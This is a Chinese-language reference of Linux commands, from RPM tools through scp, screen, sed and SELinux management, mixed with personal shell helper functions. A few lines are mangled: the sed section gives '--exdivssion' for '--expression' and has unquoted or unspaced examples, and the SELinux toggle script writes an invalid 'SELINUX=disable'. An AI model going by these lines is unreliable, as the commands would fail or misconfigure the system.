将RPM软件包转换为cpio格式的文件

</div>

!! 补充说明

:<div>


"rpm2cpio命令" 用于将rpm软件包转换为cpio格式的文件。

</div>

!! 语法  

:<div>


```
rpm2cpio(参数)
```

</div>

!! 参数  

:<div>


文件:指定要转换的rpm包的文件名。

</div>

!! 实例  

:<div>


```
rpm2cpio ../libstdc++-4.3.0-8.i386.rpm | cpio -idv
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
rpmbuild
===

创建RPM的二进制软件包和源码软件包

</div>

!! 补充说明

:<div>


"rpmbuild命令" 被用于创建rpm的二进制软件包和源码软件包。

</div>

!! 语法  

:<div>


```
rpmbuild(选项)
```

</div>

!! 选项  

:<div>


```
--initdb:初始化RPM数据库;
--rebuilddb:从已安装的包头文件,方向重建RPM数据库;
-ba:创建二进制和源代码包;
-bb:创建二进制代码包;
-bs:创建源代码包。
```

</div>

!! 实例  

:<div>


```
rpmbuild -ba 'spec文件路径'
```

build完后,可以在`/usr/src/redhat/RPMS/`下找到二进制rpm包,rpm包按照其对应的cpu体系结构分类,通常在`/usr/src/redhat/RPMS/i386`目录下。`/usr/src/redhat/SRPMS/`下找到源码rpm包,此时由于是源代码,所以无须按体系结构分类。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
rpmdb
===

初始化和重建RPM数据库

</div>

!! 补充说明

:<div>


"rpmdb命令" 用于初始化和重建rpm数据库。

</div>

!! 语法  

:<div>


```
rpmdb(选项)
```

</div>

!! 选项  

:<div>


```
--initdb:初始化RPM数据库;
--rebuilddb:从已安装的包头文件,反向重建RPM数据库。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
rpmquery
===

从RPM数据库中查询软件包信息

</div>

!! 补充说明

:<div>


"rpmquery命令" 使用多种依据从rpm数据库中查询软件包信息。

</div>

!! 语法  

:<div>


```
rpmquery(选项)
```

</div>

!! 选项  

:<div>


```
-qf:查询指定的文件所属的软件包;
-q:查询指定的软件包是否被安装;
-qc:查询软件包中的配置文件;
-qd:查询软件包中的文档文件;
-qi:查询软件包的基本信息。
```

</div>

!! 实例  

:<div>


使用rpmquery命令查询指定文件所属的软件包:

```
[root@localhost ~]# rpmquery -qf /usr/bin/htpasswd
httpd-2.2.3-81.el5.centos
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
rpmsign
===

使用RPM软件包的签名管理工具

</div>

!! 补充说明

:<div>


"rpmsign命令" 使用rpm软件包的签名管理工具。

</div>

!! 语法  

:<div>


```
rpmsign(选项)
```

</div>

!! 选项  

:<div>


```
--addsign:为自动软件包添加签名;
--checksig:验证软件包签名;
--delsign:删除软件包签名;
--import:导入公钥;
--resign:重新签名软件包;
--nodigest:不验证软件包摘要;
--nosignature:不验证软件包签名。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
rpmverify
===

验证已安装的RPM软件包的正确性

</div>

!! 补充说明

:<div>


"rpmverify命令" 用来验证已安装的rpm软件包的正确性。

</div>

!! 语法  

:<div>


```
rpmverify(选项)
```

</div>

!! 选项  

:<div>


```
-Va:验证所有软件包;
-V<软件包>f:验证指定软件包;
--nomd5:不验证软件包的md5摘要。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
rsh
===

连接远程主机并执行命令

</div>

!! 补充说明

:<div>


"rsh命令" 用于连接到远程的指定主机并执行指定的命令。

</div>

!! 语法  

:<div>


```
rsh(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:使用Socket层级的排错功能;
-l<用户名称>:指定要登入远端主机的用户名称;
-n:把输入的指令号向代号为/dev/null的特殊外围设备。
```

</div>

!! 参数  

:<div>


*   远程主机:指定要连接的远程主机;
*   指令:指定要在远程主机上执行的命令。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 01. 简介
:<div>

* rsync 遵循BSD cp 原则 .

```bash
# 避免rsync惨案
# 包装rsync, 删除尾部斜杠
function rsync(){
    #!/bin/zsh
    new_args=();
    for i in "$@"; do
        case $i in /) i=/;; */) i=${i%/};; esac
        new_args+=$i;
    done
    exec rsync "${(@)new_args}"
}
```
</div>
<pre>

;NAME
       :runlevel - Print previous and current SysV runlevel

;SYNOPSIS
       :runlevel [options...]

;DESCRIPTION
       :runlevel prints the previous and current SysV runlevel if they are known.

       :The two runlevel characters are separated by a single space character. If a runlevel cannot be determined, N is printed instead. If neither can be determined, the word "unknown"is printed.

       :Unless overridden in the environment, this will check the utmp database for recent runlevel changes.

;OPTIONS
       :The following option is understood:

```
       --help
           Print a short help text and exit.
```

;EXIT STATUS
       :If one or both runlevels could be determined, 0 is returned, a non-zero failure code otherwise.

;ENVIRONMENT
       ;:$RUNLEVEL
           :If $RUNLEVEL is set, runlevel will print this value as current runlevel and ignore utmp.

       :;$PREVLEVEL
           :If $PREVLEVEL is set, runlevel will print this value as previous runlevel and ignore utmp.


;FILES
       ;:/var/run/utmp
           :The utmp database runlevel reads the previous and current runlevel from.

;NOTES
       :This is a legacy command available for compatibility only. It should not be used anymore, as the concept of runlevels is obsolete.

;SEE ALSO
       :systemd(1), systemctl(1)

;在大多数的linux发行版本中,通常有8个runlevel:

<<<

0 停机
1 单用户模式
2 多用户,没有 NFS
3 完全多用户模式
4 没有用到
5 图形界面
6 重新启动
S s Single user mode
<<<


```


!!简介
:<div>
scp
===

加密的方式在本地主机和远程主机之间复制文件

</div>

!! 补充说明

:<div>


"scp命令" 用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的。可能会稍微影响一下速度。当你服务器硬盘变为只读read only system时,用scp可以帮你把文件移出来。另外,scp还非常不占资源,不会提高多少系统负荷,在这一点上,rsync就远远不及它了。虽然 rsync比scp会快一点,但当小文件众多的情况下,rsync会导致硬盘I/O非常高,而scp基本不影响系统正常使用。

</div>

!! 语法  

:<div>


```
scp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-1:使用ssh协议版本1;
-2:使用ssh协议版本2;
-4:使用ipv4;
-6:使用ipv6;
-B:以批处理模式运行;
-C:使用压缩;
-F:指定ssh配置文件;
-i:identity_file 从指定文件中读取传输时使用的密钥文件(例如亚马逊云pem),此参数直接传递给ssh;
-l:指定宽带限制;
-o:指定使用的ssh选项;
-P:指定远程主机的端口号;
-p:保留文件的最后修改时间,最后访问时间和权限模式;
-q:不显示复制进度;
-r:以递归方式复制。
```

</div>

!! 参数  

:<div>


* 源文件:指定要复制的源文件。
* 目标文件:目标文件。格式为`user@host:filename`(文件名为目标文件的名称)。

</div>

!! 实例  

:<div>


从远程复制到本地的scp命令与上面的命令雷同,只要将从本地复制到远程的命令后面2个参数互换顺序就行了。

 "从远处复制文件到本地目录" 

```
scp root@10.10.10.10:/opt/soft/nginx-0.5.38.tar.gz /opt/soft/
```

从10.10.10.10机器上的`/opt/soft/`的目录中下载nginx-0.5.38.tar.gz 文件到本地`/opt/soft/`目录中。

"从亚马逊云复制OpenVPN到本地目录" 

```
scp -i amazon.pem ubuntu@10.10.10.10:/usr/local/openvpn_as/etc/exe/openvpn-connect-2.1.3.110.dmg openvpn-connect-2.1.3.110.dmg
```
从10.10.10.10机器上下载openvpn安装文件到本地当前目录来。

 "从远处复制到本地" 

```
scp -r root@10.10.10.10:/opt/soft/mongodb /opt/soft/
```

从10.10.10.10机器上的`/opt/soft/`中下载mongodb目录到本地的`/opt/soft/`目录来。

 "上传本地文件到远程机器指定目录" 

```bash
scp /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
# 指定端口 2222
scp -rp -P 2222 /opt/soft/nginx-0.5.38.tar.gz root@10.10.10.10:/opt/soft/scptest
```

复制本地`/opt/soft/`目录下的文件nginx-0.5.38.tar.gz到远程机器10.10.10.10的`opt/soft/scptest`目录。

 "上传本地目录到远程机器指定目录" 

```
scp -r /opt/soft/mongodb root@10.10.10.10:/opt/soft/scptest
```

上传本地目录`/opt/soft/mongodb`到远程机器10.10.10.10上`/opt/soft/scptest`的目录中去。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
screen
===

用于命令行终端切换

</div>

!! 补充说明

:<div>


"Screen" 是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

 "会话恢复" 

只要Screen本身没有终止,在其内部运行的会话都可以恢复。这一点对于远程登录的用户特别有用——即使网络连接中断,用户也不会失去对已经打开的命令行会话的控制。只要再次登录到主机上执行screen -r就可以恢复会话的运行。同样在暂时离开的时候,也可以执行分离命令detach,在保证里面的程序正常运行的情况下让Screen挂起(切换到后台)。这一点和图形界面下的VNC很相似。

 "多窗口" 

在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。Screen实现了基本的文本操作,如复制粘贴等;还提供了类似滚动条的功能,可以查看窗口状况的历史记录。窗口还可以被分区和命名,还可以监视后台窗口的活动。 会话共享 Screen可以让一个或多个用户从不同终端多次登录一个会话,并共享会话的所有特性(比如可以看到完全相同的输出)。它同时提供了窗口访问权限的机制,可以对窗口进行密码保护。

GNU's Screen 官方站点:http://www.gnu.org/software/screen/

</div>

!! 语法  

:<div>


```
# screen -AmRvx -[ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s ][-S <作业名称>]
```

</div>

!! 选项  

:<div>


```
-A  将所有的视窗都调整为目前终端机的大小。
-d <作业名称>  将指定的screen作业离线。
-h <行数>  指定视窗的缓冲区行数。
-m  即使目前已在作业中的screen作业,仍强制建立新的screen作业。
-r <作业名称>  恢复离线的screen作业。
-R  先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
-s  指定建立新视窗时,所要执行的shell。
-S <作业名称>  指定screen作业的名称。
-v  显示版本信息。
-x  恢复之前离线的screen作业。
-ls或--list  显示目前所有的screen作业。
-wipe  检查目前所有的screen作业,并删除已经无法使用的screen作业。
```

</div>

!! 常用screen参数  

:<div>


```
screen -S yourname -> 新建一个叫yourname的session
screen -ls -> 列出当前所有的session
screen -r yourname -> 回到yourname这个session
screen -d yourname -> 远程detach某个session
screen -d -r yourname -> 结束当前session并回到yourname这个session
```

在每个screen session 下,所有命令都以 ctrl+a(C-a) 开始。

```
C-a ? -> 显示所有键绑定信息
C-a c -> 创建一个新的运行shell的窗口并切换到该窗口
C-a n -> Next,切换到下一个 window 
C-a p -> Previous,切换到前一个 window 
C-a 0..9 -> 切换到第 0..9 个 window
Ctrl+a [Space] -> 由视窗0循序切换到视窗9
C-a C-a -> 在两个最近使用的 window 间切换 
C-a x -> 锁住当前的 window,需用用户密码解锁
C-a d -> detach,暂时离开当前session,将目前的 screen session (可能含有多个 windows) 丢到后台执行,并会回到还没进 screen 时的状态,此时在 screen session 里,每个 window 内运行的 process (无论是前台/后台)都在继续执行,即使 logout 也不影响。 
C-a z -> 把当前session放到后台执行,用 shell 的 fg 命令则可回去。
C-a w -> 显示所有窗口列表
C-a t -> time,显示当前时间,和系统的 load 
C-a k -> kill window,强行关闭当前的 window
C-a  -> 进入 copy mode,在 copy mode 下可以回滚、搜索、复制就像用使用 [vi 一样
    C-b Backward,PageUp 
    C-f Forward,PageDown 
    H(大写) High,将光标移至左上角 
    L Low,将光标移至左下角 
    0 移到行首 
    $ 行末 
    w forward one word,以字为单位往前移 
    b backward one word,以字为单位往后移 
    Space 第一次按为标记区起点,第二次按为终点 
    Esc 结束 copy mode 
C-a ] -> paste,把刚刚在 copy mode 选定的内容贴上
```

</div>

!! 使用 screen  

:<div>


 "安装screen" 

流行的Linux发行版(例如Red Hat Enterprise Linux)通常会自带screen实用程序,如果没有的话,可以从GNU screen的官方网站下载。

```
[root@TS-DEV ~]# yum install screen
[root@TS-DEV ~]# rpm -qa|grep screen
screen-4.0.3-4.el5
[root@TS-DEV ~]#
```

 "创建一个新的窗口" 

安装完成后,直接敲命令screen就可以启动它。但是这样启动的screen会话没有名字,实践上推荐为每个screen会话取一个名字,方便分辨:

```
[root@TS-DEV ~]# screen -S david 
```

screen启动后,会创建第一个窗口,也就是窗口No. 0,并在其中打开一个系统默认的shell,一般都会是bash。所以你敲入命令screen之后,会立刻又返回到命令提示符,仿佛什么也没有发生似的,其实你已经进入Screen的世界了。当然,也可以在screen命令之后加入你喜欢的参数,使之直接打开你指定的程序,例如:

```
[root@TS-DEV ~]# screen vi david.txt
```

screen创建一个执行vi david.txt的单窗口会话,退出vi 将退出该窗口/会话。

 "查看窗口和窗口名称" 

打开多个窗口后,可以使用快捷键C-a w列出当前所有窗口。如果使用文本终端,这个列表会列在屏幕左下角,如果使用X环境下的终端模拟器,这个列表会列在标题栏里。窗口列表的样子一般是这样:

```
0$ bash  1-$ bash  2*$ bash  
```

这个例子中我开启了三个窗口,其中*号表示当前位于窗口2,-号表示上一次切换窗口时位于窗口1。

Screen默认会为窗口命名为编号和窗口中运行程序名的组合,上面的例子中窗口都是默认名字。练习了上面查看窗口的方法,你可能就希望各个窗口可以有不同的名字以方便区分了。可以使用快捷键C-a A来为当前窗口重命名,按下快捷键后,Screen会允许你为当前窗口输入新的名字,回车确认。

 "会话分离与恢复" 

你可以不中断screen窗口中程序的运行而暂时断开(detach)screen会话,并在随后时间重新连接(attach)该会话,重新控制各窗口中运行的程序。例如,我们打开一个screen窗口编辑/tmp/david.txt文件:

```
[root@TS-DEV ~]# screen vi /tmp/david.txt
```

之后我们想暂时退出做点别的事情,比如出去散散步,那么在screen窗口键入C-a d,Screen会给出detached提示:

暂时中断会话

!

半个小时之后回来了,找到该screen会话:

```
[root@TS-DEV ~]# screen -ls
```

!

重新连接会话:

```
[root@TS-DEV ~]# screen -r 12865
```

一切都在。

当然,如果你在另一台机器上没有分离一个Screen会话,就无从恢复会话了。这时可以使用下面命令强制将这个会话从它所在的终端分离,转移到新的终端上来:

!

 "清除dead 会话" 

如果由于某种原因其中一个会话死掉了(例如人为杀掉该会话),这时screen -list会显示该会话为dead状态。使用screen -wipe命令清除该会话:

!

 "关闭或杀死窗口" 

正常情况下,当你退出一个窗口中最后一个程序(通常是bash)后,这个窗口就关闭了。另一个关闭窗口的方法是使用C-a k,这个快捷键杀死当前的窗口,同时也将杀死这个窗口中正在运行的进程。

如果一个Screen会话中最后一个窗口被关闭了,那么整个Screen会话也就退出了,screen进程会被终止。

除了依次退出/杀死当前Screen会话中所有窗口这种方法之外,还可以使用快捷键C-a :,然后输入quit命令退出Screen会话。需要注意的是,这样退出会杀死所有窗口并退出其中运行的所有程序。其实C-a :这个快捷键允许用户直接输入的命令有很多,包括分屏可以输入split等,这也是实现Screen功能的一个途径,不过个人认为还是快捷键比较方便些。

</div>

!! screen 高级应用   

:<div>


 "会话共享" 

还有一种比较好玩的会话恢复,可以实现会话共享。假设你在和朋友在不同地点以相同用户登录一台机器,然后你创建一个screen会话,你朋友可以在他的终端上命令:

```
[root@TS-DEV ~]# screen -x
```

这个命令会将你朋友的终端Attach到你的Screen会话上,并且你的终端不会被Detach。这样你就可以和朋友共享同一个会话了,如果你们当前又处于同一个窗口,那就相当于坐在同一个显示器前面,你的操作会同步演示给你朋友,你朋友的操作也会同步演示给你。当然,如果你们切换到这个会话的不同窗口中去,那还是可以分别进行不同的操作的。

 "会话锁定与解锁" 

Screen允许使用快捷键C-a s锁定会话。锁定以后,再进行任何输入屏幕都不会再有反应了。但是要注意虽然屏幕上看不到反应,但你的输入都会被Screen中的进程接收到。快捷键C-a q可以解锁一个会话。

也可以使用C-a x锁定会话,不同的是这样锁定之后,会话会被Screen所属用户的密码保护,需要输入密码才能继续访问这个会话。

 "发送命令到screen会话" 

在Screen会话之外,可以通过screen命令操作一个Screen会话,这也为使用Screen作为脚本程序增加了便利。关于Screen在脚本中的应用超出了入门的范围,这里只看一个例子,体会一下在会话之外对Screen的操作:

```
[root@TS-DEV ~]# screen -S sandy -X screen ping www.baidu.com
```

这个命令在一个叫做sandy的screen会话中创建一个新窗口,并在其中运行ping命令。

 "屏幕分割" 

现在显示器那么大,将一个屏幕分割成不同区域显示不同的Screen窗口显然是个很酷的事情。可以使用快捷键C-a S将显示器水平分割,Screen 4.00.03版本以后,也支持垂直分屏,快捷键是C-a |。分屏以后,可以使用C-a <tab>在各个区块间切换,每一区块上都可以创建窗口并在其中运行进程。

可以用C-a X快捷键关闭当前焦点所在的屏幕区块,也可以用C-a Q关闭除当前区块之外其他的所有区块。关闭的区块中的窗口并不会关闭,还可以通过窗口切换找到它。

!

 "C/P模式和操作" 

screen的另一个很强大的功能就是可以在不同窗口之间进行复制粘贴了。使用快捷键C-a <Esc>或者C-a [可以进入copy/paste模式,这个模式下可以像在vi中一样移动光标,并可以使用空格键设置标记。其实在这个模式下有很多类似vi的操作,譬如使用/进行搜索,使用y快速标记一行,使用w快速标记一个单词等。关于C/P模式下的高级操作,其文档的这一部分有比较详细的说明。

一般情况下,可以移动光标到指定位置,按下空格设置一个开头标记,然后移动光标到结尾位置,按下空格设置第二个标记,同时会将两个标记之间的部分储存在copy/paste buffer中,并退出copy/paste模式。在正常模式下,可以使用快捷键C-a ]将储存在buffer中的内容粘贴到当前窗口。

!

 "更多screen功能" 

同大多数UNIX程序一样,GNU Screen提供了丰富强大的定制功能。你可以在Screen的默认两级配置文件/etc/screenrc和$HOME/.screenrc中指定更多,例如设定screen选项,定制绑定键,设定screen会话自启动窗口,启用多用户模式,定制用户访问权限控制等等。如果你愿意的话,也可以自己指定screen配置文件。

以多用户功能为例,screen默认是以单用户模式运行的,你需要在配置文件中指定multiuser on 来打开多用户模式,通过acl*(acladd,acldel,aclchg...)命令,你可以灵活配置其他用户访问你的screen会话。更多配置文件内容请参考screen的man页。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>


* EXP<pre>

```bash
#install
rpm install screen...rpm

# list
screen -ls

# return
screen -r

# 终端共享
screen -x <session name>

# attach , detach
# ctrol a + d

```
</pre>

```bash
#尾行加1
seq 5 |sed "$ a123"
#首行加一
seq 5 | sed "1 i123"


function ge()
{
    of=tmp.html
    wget $1 -a $of
    egrep -o 'command code bash\>[^<]*<' ${of}|awk -F \>  '{print $2}'|sed 's/<//g'|sed 's/&lt;/</g'|sed 's/&quot;/"/g'|sed 's/&gt;/>/g'|sed 's/&amp;/\&/g' > cmd.tmp
    egrep -o 'href="[^"]*"\ title="[^"]*"' ${of} | sed 's/title="/# /g'| sed 's/"//g'|grep command|grep -v java|grep -v "Report as duplicate"|grep view|awk -F# '{print $1}'|egrep -o '\<[^/]*$'|sed 's/^/# /g' |sed 's/-/ /g' > title.tmp
}

function cmd(){
    cmds_dir="/home/liming/source/linux-command/command"
    cmd_file=${cmds_dir}/${1}.md
    echo ${cmd_file}
    if [ -f ${cmd_file} ];then
        #cat ${cmd_file} | sed "s/###/!!/g" | sed "s/##/!!/g" | sed -e "s/(!!.*\r\n)/</div>\r\n\1:<div>\r\n/g" > ~/source/tmp.md
        cat ${cmd_file}|sed 's/###/!!/g' | sed 's/##/!!/g' |sed 's/\*\*/\"/g' |sed -r 's@(!!.*)@</div>\r\n\r\n\1\r\n\r\n:\<div\>\r\n@g' > ~/source/tmp.md
	    xed ~/source/tmp.md
	    rm ~/source/tmp.md
    else
        echo "can't find ${1}"
    fi
    unset cmds_dir cmd_file
}
```


* EXP <pre>

* 删除:d命令 
:<div>

```bash
$ sed '2d' example
#删除example文件的第二行。

$ sed '2,$d' example
#删除example文件的第二行到末尾所有行。

$ sed '$d' example
#删除example文件的最后一行。

$ sed '/test/'d example
#删除example文件所有包含test的行。
```
 

</div> 
* 替换:s命令 
:<div>

```bash
$ sed 's/test/mytest/g' example
#在整行范围内把test替换为mytest。如果没有g标记,则只有每行第一个匹配的test被替换成mytest。

$ sed -n 's/^test/mytest/p' example
#(-n)选项和p标志一起使用表示只打印那些发生替换的行。也就是说,如果某一行开头的test被替换成mytest,就打印它。

$ sed 's/^192.168.0.1/&localhost/'example
#&符号表示替换换字符串中被找到的部份。所有以192.168.0.1开头的行都会被替换成它自已加localhost,变成192.168.0.1localhost。

$ sed -n 's/\(love\)able/\1rs/p' example
#love被标记为1,所有loveable会被替换成lovers,而且替换的行会被打印出来。

$ sed 's#10#100#g' example
#不论什么字符,紧跟着s命令的都被认为是新的分隔符,所以,“#”在这里是分隔符,代替了默认的“/”分隔符。表示把所有10替换成100。

# 删除每行第一个字符
$ sed 's/.//' tmp.txt 

# 删除每行前两个字符
$ sed 's/..//' tmp.txt 

# 删除每行前k个字符,例如k=5
$ sed 's/.\{5\}//' tmp.txt 
```
 </div> 

* 选定行的范围:逗号 

:<div>

```bash
$ sed -n '/test/,/check/p' exampl
#所有在模板test和check所确定的范围内的行都被打印。

$ sed -n '5,/^test/p' example
#打印从第五行开始到第一个包含以test开始的行之间的所有行。

$sed -n '0,/^[[:space:]]*$/p'
# 打印从开始到空行之间的行

$ sed '/test/,/check/s/$/sed test/' example
#对于模板test和west之间的行,每行的末尾用字符串sed test替换。

sed '/pattern/!p' infile 
#匹配pattern的行不输出 

sed -n '1,2p' infile 
#print line 1 to 2 

sed -n '2,$p' file 
# print line 2 to end of line
```

</div> 

* 多点编辑:e命令 
:<div>

```bash
$ sed -e '1,5d' -e 's/test/check/'example
#(-e)选项允许在同一行里执行多条命令。如例子所示,第一条命令删除1至5行,第二条命令用check替换test。命令的执行顺序对结果有影响。如果两个命令都是替换命令,那么第一个替换命令将影响第二个替换命令的结果。

$ sed --exdivssion='s/test/check/' --exdivssion='/love/d' example
#一个比-e更好的命令是–exdivssion。它能给sed表达式赋值。
```
</div>

* 从文件读入:r命令 
:<div>

```bash
$ sed '/test/r file' example
#file里的内容被读进来,显示在与test匹配的行后面,如果匹配多行,则file的内容将显示在所有匹配行的下面。
```
</div> 

* 写入文件:w命令 <pre>
    $ sed -n '/test/w file' example

    在example中所有包含test的行都被写入file里。

     

</pre> 
* 追加命令:a命令 <pre>

    $ sed '/^test/a\\--->this is a example' example<

    ‘this is a example’被追加到以test开头的行后面,sed要求命令a后面有一个反斜杠。

     

</pre> 
* 插入:i命令 <pre>

    $ sed '/test/i\\
    new line
    -------------------------' example

    如果test被匹配,则把反斜杠后面的文本插入到匹配行的前面。

     

</pre> 
* 下一个:n命令 <pre>

```bash
    $ sed '/test/{ n; s/aa/bb/; }' example
```
    如果test被匹配,则移动到匹配行的下一行,替换这一行的aa,变为bb,并打印该行,然后继续。

 

</pre> 
* 变形:y命令 <pre>

```bash
    $ sed '1,10y/abcde/ABCDE/' example
```
    把1–10行内所有abcde转变为大写,注意,正则表达式元字符不能使用这个命令。

     

</pre> 
* 退出:q命令 <pre>

```bash
    $ sed '10q' example
```
    打印完第10行后,退出sed。

     

</pre> 
* 保持和获取:h命令和G命令 <pre>

```bash
    $ sed -e '/test/h' -e '$Gexample
```
在sed处理文件的时候,每一行都被保存在一个叫模式空间的临时缓冲区中,
除非行被删除或者输出被取消,否则所有被处理的行都将打印在屏幕上。
接着模式空间被清空,并存入新的一行等待处理。

在这个例子里,匹配test的行被找到后,将存入模式空间,
h命令将其复制并存入一个称为保持缓存区的特殊缓冲区内。
第二条语句的意思是,当到达最后一行后,
G命令取出保持缓冲区的行,然后把它放回模式空间中,且追加到现在已经存在于模式空间中的行的末尾。
在这个例子中就是追加到最后一行。
简单来说,任何包含test的行都被复制并追加到该文件的末尾。

     

</pre> 
* 保持和互换:h命令和x命令 <pre>

```bash
    $ sed -e '/test/h' -e '/check/x' example
```
    互换模式空间和保持缓冲区的内容。也就是把包含test与check的行互换。
    
    
</pre>

</pre>
!!简介
:<div>
seinfo
===

查询SELinux的策略提供多少相关规则

</div>

!! 补充说明

:<div>


"seinfo命令" 是用来查询SELinux的策略提供多少相关规则,一个主体进程能否读取到目标文件资源的重点是在于SELinux的策略以及策略内的各项规则,然后再通过该规则的定义去处理各项目标文件的安全上下文,尤其是“类型”部分。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

</div>

!! 语法  

:<div>


```
seinfo(选项)
```

</div>

!! 选项  

:<div>


```
-A:列出SELinux的状态、规则布尔值、身份识别、角色、类型等所有信息。
-t:列出SELinux所有类型(type)的种类。
-r:列出SELinux所有角色(role)的种类。
-u:列出SELinux所有身份识别(user)的种类。
-b:列出所有规则的种类(布尔值)。
```

</div>

!! 实例  

:<div>


列出与httpd有关的规则:

```
seinfo -b | grep httpd
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;select
:<pre>

;带参数的select

```bash
#!/bin/bash
 PS3="Please select a number: "
echo "What is your favourite color? "
 
select color in "red" "blue" "green" "white" "black"
do 
    break
done
 
echo "You have selected $color"

```

;不带参数的select
```bash
#!/bin/bash
 PS3="Please select a number: "
echo "What is your favourite color? "
 
select color
do 
    break
done
 
echo "You have selected $color"

```
;select

```bash
function m2select()
{
   PS3="Please select a number: "
  select menu in lamian gaijiao huimian ;do
    echo $menu
    case $menu in
    gaijiao)
      echo price 11;;
    *)
      echo taiguile;;
    esac
  done
}
```


;select 自带变量$REPLAY

```bash
function t2(){
  PS3="Please select a number: "
  select menu in  "red" "blue" "green" "white" "black" "quit" ;do
          case $REPLY in
          1|red|r)
              echo red  ;;
          2|blue|b)
              echo blue ;;
          3|green|g)
              echo green;;
          4|white|w)
              echo white;;
          5|black|bl)
              echo black;;
          6|quit|q)
              echo quit 
              break;;
          *)
              echo -----------
          esac
  done
}
```
</pre>
!概念 
:<div>

```bash
# 概念:
#   selinux(secure enhanced linux)
#   /BOOT/config* # 内置功能列表
#   DAC
#   MAC
```
</div>

! 启用selinux
:<div>

```bash
getenforce              # 查看selinux 状态

sed -iE 's/SELINUX=.*/SELINUX=enforcing/g' /etc/selinux/config
sestatus    # list status
setenforce 1# set status
reboot
# 禁用以后新建的文件没有安全标签
# 启用后 , 系统扫描文件 , 自动打标签.
```
</div>

! 文件安全标签 
:<div>

```bash
ll -Z FILE PATH         # 查看实际安全上下文
ps -Z                   # 查看实际安全上下文

# 更改安全标签
chcon -t httpd_sys_content_t /app/
# 还原安全标签
restorecon -R PATH
# 更改策略库中的目录的默认标签
semanage fcontext -a -t httpd_sys_content_t "/app(/.*)?"
# 查询策略
semanage fcontext -l
# 删除策略
semanage fcontext -d -t httpd_sys_content_t "/app(/.*)?"
# 安全标签项
#   user
#   role        :<object_r,object_u>
#   type        :<可以访问的文件类型>
#   sensitivity :安全级别
#   category    :分组
```
</div>


!端口安全标签 
:<div>

```bash
#----------------------------------
# 端口标签:
#查看
semanage port -l | grep http
# add
semanage port -a -t PORT_TYPE -p tcp 9527
# del
semanage port -d -t PORT_TYPE -p tcp 9527
# 内核集成策略不可删除
```
</div>


!布尔值开关 
:<div>

```bash
#----------------------------------
# 布尔值开关:
# 查看
semanage boolean -l | grep ftp
# set
setsebool ftpd_anon_write=1/on/yes
# -P 永久
setsebool -P ftpd_anon_write=1/on/yes
# 查询更改过的值
semanage boolean -l -C
#----------------------------------
```
</div>


! 日志
:<div>

```bash
#----------------------------------
# 日志:
# 系统日志
cat /var/log/message | grep -i setroubleshoot
# 警报查看
sealert -l 事件id
#----------------------------------
```
</div>


! 帮助文档 
:<div>

```bash
#----------------------------------
# 帮助:
yum info selinux-policy-doc
yum -y install selinux-policy-devel(7.2)
yum -y install selinux-policy-doc
mandb|makewhatis
man -k _selinux| grep http
#----------------------------------
```
</div>



!脚本 
:<div>

```bash
#禁用启用SElinux脚本
function set_selinux(){
    case $1 in
        on)
            sed -iE 's/SELINUX=.*/SELINUX=enforcing/g' /etc/selinux/config
        ;;
        off)
            sed -iE 's/SELINUX=.*/SELINUX=disable/g' /etc/selinux/config
            echo "please reboot"
        ;;
        *)
        echo "usage:selinux.sh on|off"
    esac
}

```
</div>
!!简介
:<div>
semanage
===

默认目录的安全上下文查询与修改

</div>

!! 补充说明

:<div>


"semanage命令" 是用来查询与修改SELinux默认目录的安全上下文。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。

</div>

!! 语法  

:<div>


```
semanage {login|user|port|interface|fcontext|translation} -l
semanage fcontext -{a|d|m} [-frst] file_spec
```

</div>

!! 选项  

:<div>


```
-l:查询。
fcontext:主要用在安全上下文方面。
-a:增加,你可以增加一些目录的默认安全上下文类型设置。
-m:修改。
-d:删除。
```

</div>

!! 实例  

:<div>


查询一下`/var/www/html`的默认安全性本文的设置:

```
semanage fcontext -l
SELinux fcontext    type          Context
....(前面省略)....
/var/www(/.*)?      all files     system_u:object_r:httpd_sys_content_t:s0
....(後面省略)....
```

如上面例子所示,我们可以查询的到每个目录的安全性本文!而目录的设定可以使用正则表达式去指定一个范围。那么如果我们想要增加某些自定义目录的安全性本文呢?举例来说,我想要色设置`/srv/samba`成为 `public_content_t`的类型时,应该如何设置呢?

用semanage命令设置`/srv/samba`目录的默认安全性本文为`public_content_t`:

```
mkdir /srv/samba
ll -Zd /srv/samba
drwxr-xr-x  root root root:object_r:var_t    /srv/samba
```

如上所示,默认的情况应该是`var_t`这个咚咚的!

```
semanage fcontext -l | grep '/srv'
/srv/.*                     all files   system_u:object_r:var_t:s0
/srv/([^/]*/)?ftp(/.*)?     all files   system_u:object_r:public_content_t:s0
